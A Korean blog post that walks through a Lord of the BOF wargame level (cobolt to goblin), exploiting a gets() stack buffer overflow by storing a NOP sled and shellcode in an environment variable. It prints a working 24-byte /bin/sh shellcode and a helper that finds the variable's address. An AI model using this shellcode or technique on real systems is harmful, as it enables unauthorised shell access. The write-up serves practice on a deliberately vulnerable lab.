eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • web
  • hacker
  • 오버플로우
  • 풀이
  • 메모리
  • school
  • Up
  • hacking
  • attack
  • buffer
  • hack
  • write
  • hakcing
  • LOB
  • overflow
  • 스쿨
  • 문제풀이
  • 암호
  • 과정
  • pwnable
  • password
  • 패스워드
  • LEVEL
  • 해킹
  • 해커
  • BOF
  • 문제
  • webhacking.kr
  • 공격
  • 설명

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level3: cobolt → goblin (renew)
0x02 Study :)/Pwnable

[LOB] Level3: cobolt → goblin (renew)

2018. 8. 28. 14:12



goblin

3.goblin.pdf

keyword : BoF+env+argv

/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

 


0x01. Static Analysis

 

앞서 문제 cobolt와 다른점은 cobolt에서는 main함수의 argv로 입력값을 받았다면, 지금 문제는 gets를 이용하여 문제를 받는다. 따라서 값을 넘겨주는 방식의 차이만 있을 뿐 앞 문제와 풀이 과정은 동일하다.

 


0x02. Dynamic Analysis & Exploit

 

cobolt 문제와 동일하게 환경변수에 쉘코드를 넣고 문제를 풀어보자.

 

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 


EUNICE 환경변수에 NOP슬라이드와 쉘코드를 넣는다.

 


//env.c
main(){
	printf("%08x\n", getenv("EUNICE") );
}

EUNICE 환경변수의 주소를 구하는 프로그램을 만들어서

 


EUNICE환경변수의 주소를 구해온다. (0xbffffc33)

 

 


goblin / hackers proof




 

저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level5: orc → wolfman (renew)
    • [LOB] Level4: goblin → orc (renew)
    • [LOB] Level2: gremlin → cobolt (renew)
    • [LOB] Level1: gate → gremlin (renew)
    eli_ez3r
    eli_ez3r

    티스토리툴바